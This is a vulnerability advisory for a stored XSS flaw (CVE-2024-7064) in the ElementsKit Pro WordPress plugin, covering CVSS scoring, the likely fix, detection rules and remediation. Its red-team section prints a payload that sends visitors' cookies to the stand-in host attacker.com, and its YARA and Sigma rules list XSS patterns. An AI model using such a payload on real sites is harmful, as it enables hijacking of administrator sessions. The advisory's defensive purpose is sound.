CVE-2024-7064

Executive Summary

CVE-2024-7064 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the ElementsKit Pro plugin for WordPress. This plugin is a popular commercial page builder add-on that extends the functionality of the free ElementsKit plugin. The vulnerability affects all versions up to and including 3.6.5. It allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts into pages. These scripts execute whenever a user (including administrators) accesses the compromised page. The root cause is insufficient input sanitization and output escaping on several parameters within the plugin. As of this report, no official patch has been released, and no public exploit code is available. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the risk remains significant for sites with untrusted contributors.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem. The ElementsKit Pro plugin is a commercial product distributed via the developers' own website and update servers, not through the official WordPress plugin repository. This means:

• No direct supply chain visibility via OSV or GitHub Advisory Database.
• Patch status is unknown; users must monitor the vendor's changelog or support channels.
• Risk of supply chain compromise is elevated because the plugin is not subject to the same automated scanning as free plugins on WordPress.org.
• No known malicious packages have been reported, but the lack of a patch increases the window of opportunity for attackers.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – The attacker needs Contributor-level access or higher.
• User Interaction (UI): None – The victim does not need to perform any action beyond viewing the page.
• Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component (e.g., admin sessions).
• Confidentiality (C): Low – Limited information disclosure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for privilege escalation (e.g., session hijacking of an admin) makes this a serious concern for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability resides in the ElementsKit Pro plugin's handling of user-supplied input for several parameters. The plugin fails to properly sanitize input and escape output when rendering content on the front end. This allows an authenticated user with Contributor-level permissions (who can create and edit posts/pages) to inject malicious JavaScript code.

Key Parameters Affected: The advisory mentions "several parameters" but does not specify exact names. Based on typical ElementsKit Pro functionality, these likely include:

• ekit_heading (heading widget)
• ekit_button_text (button widget)
• ekit_icon (icon widget)
• Custom CSS fields within widgets

Attack Flow:

1. An attacker with Contributor access logs into WordPress.
2. The attacker creates or edits a page/post and inserts an ElementsKit Pro widget.
3. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into one of the vulnerable parameters.
4. The plugin stores the payload in the WordPress database without proper sanitization.
5. When any user (including admins) views the page, the payload executes in their browser.

Why Stored XSS is Dangerous:

• Persistent: The payload remains in the database until manually removed.
• Widespread: Every visitor to the affected page is compromised.
• Privilege Escalation: An attacker can steal admin session cookies, create new admin accounts, or install malicious plugins.

Vulnerable vs. Patched Code

Since no official patch is available, we can only infer the fix based on common XSS remediation patterns.

Vulnerable Code (Hypothetical Example):

// In a widget render function
$heading = get_post_meta( $post_id, 'ekit_heading', true );
echo '<h2>' . $heading . '</h2>';

This code directly outputs user-supplied data without escaping.

Patched Code (Expected Fix):

$heading = get_post_meta( $post_id, 'ekit_heading', true );
echo '<h2>' . esc_html( $heading ) . '</h2>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Additional Fixes:

• Use wp_kses() for allowing safe HTML tags.
• Validate input against a whitelist of allowed values.
• Apply output escaping on all user-facing parameters.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with ElementsKit Pro <= 3.6.5 installed and activated.
• A user account with Contributor-level permissions or higher.

Step-by-Step Exploitation:

1. Login as a Contributor.
2. Create a new page or edit an existing one.
3. Add an ElementsKit Pro widget (e.g., Heading widget).
4. Inject payload into the heading field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish the page.
6. Wait for an admin to view the page, or send a direct link to the admin.

Expected Result: The admin's session cookie is sent to the attacker's server.

No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual JavaScript in page content, especially in custom fields.
• Look for outbound connections to unknown domains from the WordPress admin interface.
• Check for Contributor accounts creating pages with suspicious content.

Hardening:

• Immediately restrict Contributor-level permissions if not needed.
• Use a Web Application Firewall (WAF) with XSS rules (e.g., ModSecurity).
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Regularly audit user-created content for malicious code.
• Apply virtual patching by adding a filter to escape output for ElementsKit Pro parameters (if possible).

Indicators of Compromise (IOCs)

File-Based IOCs:

• Modified page/post content containing <script> tags or event handlers (e.g., onload, onerror).
• Suspicious entries in the wp_posts table with post_content containing JavaScript.

Network IOCs:

• Outbound HTTP requests to unknown domains from the WordPress server.
• Requests containing document.cookie in the query string.

Log IOCs:

• WordPress audit logs showing creation of pages by Contributor accounts with unusual content.
• Web server logs showing POST requests to /wp-admin/post.php with payloads in parameters.

Detection Engineering

YARA Rule

rule Detect_ElementsKit_Pro_XSS_Payload {
    meta:
        description = "Detects potential XSS payloads targeting ElementsKit Pro plugin"
        author = "Valters IT"
        date = "2024-07-15"
        reference = "CVE-2024-7064"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['"][^'"]*['"]/i
        $xss3 = /javascript\s*:/i
        $ekit_param = /ekit_heading|ekit_button_text|ekit_icon/i
    condition:
        any of ($xss*) and $ekit_param
}

Sigma Rule

title: Potential Stored XSS via ElementsKit Pro
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of pages with potential XSS payloads in ElementsKit Pro parameters
author: Valters IT
date: 2024-07-15
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7064
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        event_type: post_created
        post_type: page|post
        user_role: contributor|author|editor
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in page content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7064 Potential Stored XSS Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the ElementsKit Pro plugin until a patch is released.
2. Review and remove any suspicious content created by Contributor-level users.
3. Change all admin passwords and invalidate existing sessions.
4. Enable a Web Application Firewall with XSS rules.

Long-Term Fixes:

• Apply the vendor patch as soon as it becomes available.
• Implement input validation and output escaping for all custom fields.
• Use WordPress's built-in wp_kses() for allowing safe HTML.
• Regularly update all plugins and themes.
• Conduct security audits of user permissions and content.

Workaround (if plugin must remain active):

• Add a custom filter to escape output for ElementsKit Pro parameters:

  add_filter( 'elementskit/widgets/heading/output', 'esc_html' );
  

  (Note: This is a hypothetical filter; actual implementation depends on plugin code.)

Valters IT